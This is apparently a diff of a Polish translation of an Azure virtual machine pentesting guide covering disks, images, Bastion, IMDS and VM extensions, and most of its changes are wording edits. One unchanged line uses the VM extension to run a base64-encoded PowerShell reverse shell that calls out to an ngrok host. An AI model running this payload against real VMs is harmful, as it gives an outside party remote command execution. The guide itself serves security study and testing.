- Metryka dostępności VM jest mniejsza niż 1
|
||||
- **Monitor zdrowia**: Domyślnie sprawdza protokół HTTP na porcie 80
|
||||
- **Blokady**: Umożliwia zablokowanie VM, aby mogła być tylko odczytywana (**ReadOnly** lock) lub mogła być odczytywana i aktualizowana, ale nie usuwana (**CanNotDelete** lock).
|
||||
@@ -48,7 +48,7 @@ Maszyny Wirtualne (VM) Azure to elastyczne, na żądanie **serwery w chmurze, kt
|
||||
- Możliwe jest **włączenie dołączenia dysku do 2 lub więcej VM**
|
||||
- Domyślnie każdy dysk jest **szyfrowany** kluczem platformy.
|
||||
- To samo dotyczy migawek
|
||||
- Domyślnie możliwe jest **udostępnienie dysku ze wszystkich sieci**, ale można również **ograniczyć** dostęp tylko do niektórych **prywatnych dostępów** lub **całkowicie wyłączyć** dostęp publiczny i prywatny.
|
||||
- Domyślnie możliwe jest **udostępnienie dysku ze wszystkich sieci**, ale można również **ograniczyć** dostęp tylko do określonych **prywatnych dostępów** lub **całkowicie wyłączyć** dostęp publiczny i prywatny.
|
||||
- To samo dotyczy migawek
|
||||
- Możliwe jest **wygenerowanie SAS URI** (maks. 60 dni) do **eksportu dysku**, który można skonfigurować tak, aby wymagał uwierzytelnienia lub nie
|
||||
- To samo dotyczy migawek
|
||||
@@ -74,12 +74,12 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## Obrazy, Obrazy galerii i Punkty przywracania
|
||||
## Obrazy, Obrazy w Galerii i Punkty Przywracania
|
||||
|
||||
Obraz **VM** to szablon, który zawiera system operacyjny, ustawienia aplikacji i system plików potrzebne do **utworzenia nowej maszyny wirtualnej (VM)**. Różnica między obrazem a migawką dysku polega na tym, że migawka dysku to kopia tylko do odczytu, w danym momencie, pojedynczego zarządzanego dysku, używana głównie do tworzenia kopii zapasowych lub rozwiązywania problemów, podczas gdy obraz może zawierać **wiele dysków i jest zaprojektowany jako szablon do tworzenia nowych VM**.\
|
||||
Obrazy można zarządzać w **sekcji Obrazy** w Azure lub w **galeriach obliczeniowych Azure**, co pozwala na generowanie **wersji** i **udostępnianie** obrazu między tenantami, a nawet uczynienie go publicznym.
|
||||
Obraz **VM** to szablon, który zawiera system operacyjny, ustawienia aplikacji i system plików potrzebne do **utworzenia nowej maszyny wirtualnej (VM)**. Różnica między obrazem a migawką dysku polega na tym, że migawka dysku to kopia tylko do odczytu, w określonym czasie, pojedynczego zarządzanego dysku, używana głównie do tworzenia kopii zapasowych lub rozwiązywania problemów, podczas gdy obraz może zawierać **wiele dysków i jest zaprojektowany jako szablon do tworzenia nowych VM**.\
|
||||
Obrazy można zarządzać w sekcji **Obrazy** w Azure lub w **galeriach obliczeniowych Azure**, co pozwala na generowanie **wersji** i **udostępnianie** obrazu między tenantami, a nawet uczynienie go publicznym.
|
||||
|
||||
Punkt **przywracania** przechowuje konfigurację VM oraz **migawki** aplikacji w danym momencie, które są spójne z czasem, **wszystkich zarządzanych dysków** podłączonych do VM. Jest związany z VM, a jego celem jest umożliwienie przywrócenia tej VM do stanu, w jakim była w danym momencie.
|
||||
Punkt **przywracania** przechowuje konfigurację VM oraz **migawki** aplikacji w punkcie czasowym, które są spójne z czasem, **wszystkich zarządzanych dysków** podłączonych do VM. Jest związany z VM, a jego celem jest umożliwienie przywrócenia tej VM do stanu, w jakim była w danym punkcie czasowym.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
@@ -144,13 +144,13 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
|
||||
|
||||
## Azure Site Recovery
|
||||
|
||||
Z [**dokumentacji**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Site Recovery pomaga zapewnić ciągłość działania firmy, utrzymując aplikacje biznesowe i obciążenia w działaniu podczas awarii. Site Recovery **replikuje obciążenia** działające na fizycznych i wirtualnych maszynach (VM) z głównej lokalizacji do lokalizacji zapasowej. Gdy wystąpi awaria w Twojej głównej lokalizacji, przełączasz się na lokalizację zapasową i uzyskujesz dostęp do aplikacji stamtąd. Po przywróceniu działania głównej lokalizacji możesz wrócić do niej.
|
||||
Z dokumentów [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Site Recovery pomaga zapewnić ciągłość działania biznesu, utrzymując aplikacje i obciążenia robocze w działaniu podczas awarii. Site Recovery **replikuje obciążenia robocze** działające na fizycznych i wirtualnych maszynach (VM) z głównej lokalizacji do lokalizacji zapasowej. Gdy wystąpi awaria w głównej lokalizacji, przełączasz się do lokalizacji zapasowej i uzyskujesz dostęp do aplikacji stamtąd. Po przywróceniu głównej lokalizacji możesz wrócić do niej.
|
||||
|
||||
## Azure Bastion
|
||||
|
||||
Azure Bastion umożliwia bezpieczny i bezproblemowy dostęp **Remote Desktop Protocol (RDP)** i **Secure Shell (SSH)** do Twoich wirtualnych maszyn (VM) bezpośrednio przez portal Azure lub za pośrednictwem jump boxa. Poprzez **eliminację potrzeby publicznych adresów IP** na Twoich VM.
|
||||
Azure Bastion umożliwia bezpieczny i bezproblemowy dostęp **Remote Desktop Protocol (RDP)** i **Secure Shell (SSH)** do twoich wirtualnych maszyn (VM) bezpośrednio przez portal Azure lub za pośrednictwem jump boxa. Poprzez **eliminację potrzeby publicznych adresów IP** na twoich VM.
|
||||
|
||||
Bastion wdraża podsieć o nazwie **`AzureBastionSubnet`** z maską sieciową `/26` w VNet, w którym musi działać. Następnie umożliwia **połączenie z wewnętrznymi VM przez przeglądarkę** używając `RDP` i `SSH`, unikając narażania portów VM na Internet. Może również działać jako **jump host**.
|
||||
Bastion wdraża podsieć nazwaną **`AzureBastionSubnet`** z maską sieciową `/26` w VNet, w którym musi działać. Następnie pozwala na **połączenie z wewnętrznymi VM przez przeglądarkę** używając `RDP` i `SSH`, unikając wystawiania portów VM na Internet. Może również działać jako **jump host**.
|
||||
|
||||
Aby wylistować wszystkie hosty Azure Bastion w swojej subskrypcji i połączyć się z VM przez nie, możesz użyć następujących poleceń:
|
||||
|
||||
@@ -189,7 +189,7 @@ Get-AzBastion
|
||||
|
||||
## Metadane
|
||||
|
||||
Usługa metadanych instancji Azure (IMDS) **zapewnia informacje o działających instancjach maszyn wirtualnych** w celu wspomagania ich zarządzania i konfiguracji. Oferuje szczegóły takie jak SKU, konfiguracje pamięci masowej, sieci oraz informacje o nadchodzących wydarzeniach konserwacyjnych za pośrednictwem **REST API dostępnego pod adresem IP 169.254.169.254**, który jest dostępny tylko z wnętrza VM. Komunikacja między VM a IMDS pozostaje w obrębie hosta, zapewniając bezpieczny dostęp. Podczas zapytań do IMDS, klienci HTTP wewnątrz VM powinni omijać serwery proxy, aby zapewnić prawidłową komunikację.
|
||||
Usługa metadanych instancji Azure (IMDS) **zapewnia informacje o działających instancjach maszyn wirtualnych** w celu wsparcia ich zarządzania i konfiguracji. Oferuje szczegóły takie jak SKU, przechowywanie, konfiguracje sieciowe oraz informacje o nadchodzących wydarzeniach konserwacyjnych za pośrednictwem **REST API dostępnego pod adresem IP 169.254.169.254**, który jest dostępny tylko z wnętrza VM. Komunikacja między VM a IMDS pozostaje w obrębie hosta, zapewniając bezpieczny dostęp. Podczas zapytań do IMDS, klienci HTTP wewnątrz VM powinni omijać serwery proxy, aby zapewnić prawidłową komunikację.
|
||||
|
||||
Ponadto, aby skontaktować się z punktem końcowym metadanych, żądanie HTTP musi mieć nagłówek **`Metadata: true`** i nie może mieć nagłówka **`X-Forwarded-For`**.
|
||||
|
||||
@@ -509,7 +509,7 @@ az vm extension set \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
|
||||
|
||||
```
|
||||
- Wykonaj powłokę odwrotną z pliku
|
||||
- Wykonaj odwrotną powłokę z pliku
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
@@ -549,7 +549,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
|
||||
|
||||
<details>
|
||||
|
||||
<summary>DesiredConfigurationState (DSC)</summary>
|
||||
<summary>DesiredStateConfiguration (DSC)</summary>
|
||||
|
||||
To jest **rozszerzenie VM**, które należy do Microsoft i wykorzystuje PowerShell DSC do zarządzania konfiguracją maszyn wirtualnych Windows w Azure. Dlatego może być używane do **wykonywania dowolnych poleceń** w maszynach wirtualnych Windows za pomocą tego rozszerzenia:
|
||||
```powershell
|
||||
@@ -603,7 +603,7 @@ Set-AzVMDscExtension `
|
||||
|
||||
<summary>Hybrid Runbook Worker</summary>
|
||||
|
||||
To jest rozszerzenie VM, które umożliwia wykonywanie runbooków w VM z konta automatyzacji. Aby uzyskać więcej informacji, sprawdź usługę [Automation Accounts](../az-automation-account/).
|
||||
Jest to rozszerzenie VM, które umożliwia wykonywanie runbooków w VM z konta automatyzacji. Aby uzyskać więcej informacji, sprawdź usługę [Automation Accounts](../az-automation-account/index.html).
|
||||
|
||||
</details>
|
||||
|
||||
@@ -625,7 +625,7 @@ To są ścieżki, w których aplikacje są pobierane w systemie plików:
|
||||
Sprawdź, jak zainstalować nowe aplikacje w [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
|
||||
|
||||
> [!CAUTION]
|
||||
> Możliwe jest **dzielenie się poszczególnymi aplikacjami i galeriami z innymi subskrypcjami lub najemcami**. Co jest bardzo interesujące, ponieważ może to pozwolić atakującemu na wprowadzenie backdoora do aplikacji i przejście do innych subskrypcji i najemców.
|
||||
> Możliwe jest **udostępnienie poszczególnych aplikacji i galerii innym subskrypcjom lub najemcom**. Co jest bardzo interesujące, ponieważ może to pozwolić atakującemu na wprowadzenie backdoora do aplikacji i przejście do innych subskrypcji i najemców.
|
||||
|
||||
Jednak **nie ma "rynku" dla aplikacji vm**, jak to ma miejsce w przypadku rozszerzeń.
|
||||
|
||||
@@ -730,7 +730,7 @@ Możliwe jest przekazanie pewnych danych do VM, które będą przechowywane w oc
|
||||
- W **Windows** dane niestandardowe są umieszczane w `%SYSTEMDRIVE%\AzureData\CustomData.bin` jako plik binarny i nie są przetwarzane.
|
||||
- W **Linux** były przechowywane w `/var/lib/waagent/ovf-env.xml`, a teraz są przechowywane w `/var/lib/waagent/CustomData/ovf-env.xml`
|
||||
- **Agent Linux**: Domyślnie nie przetwarza danych niestandardowych, potrzebny jest niestandardowy obraz z włączonymi danymi
|
||||
- **cloud-init:** Domyślnie przetwarza dane niestandardowe, a te dane mogą być w [**kilku formatach**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Może łatwo wykonać skrypt, wysyłając tylko skrypt w danych niestandardowych.
|
||||
- **cloud-init:** Domyślnie przetwarza dane niestandardowe, a te dane mogą być w [**kilku formatach**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Może łatwo wykonać skrypt, wysyłając po prostu skrypt w danych niestandardowych.
|
||||
- Próbowałem, aby zarówno Ubuntu, jak i Debian wykonały skrypt, który tutaj umieścisz.
|
||||
- Nie ma również potrzeby włączania danych użytkownika, aby to mogło być wykonane.
|
||||
```bash
|
||||
@@ -739,7 +739,7 @@ echo "Hello World" > /var/tmp/output.txt
|
||||
```
|
||||
### **Uruchom polecenie**
|
||||
|
||||
To jest najbardziej podstawowy mechanizm, który Azure zapewnia do **wykonywania dowolnych poleceń w VM**. Wymagana uprawnienie to `Microsoft.Compute/virtualMachines/runCommand/action`.
|
||||
To jest najprostszy mechanizm, który Azure zapewnia do **wykonywania dowolnych poleceń w VM**. Wymagana zgoda to `Microsoft.Compute/virtualMachines/runCommand/action`.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
Reference in New Issue
Block a user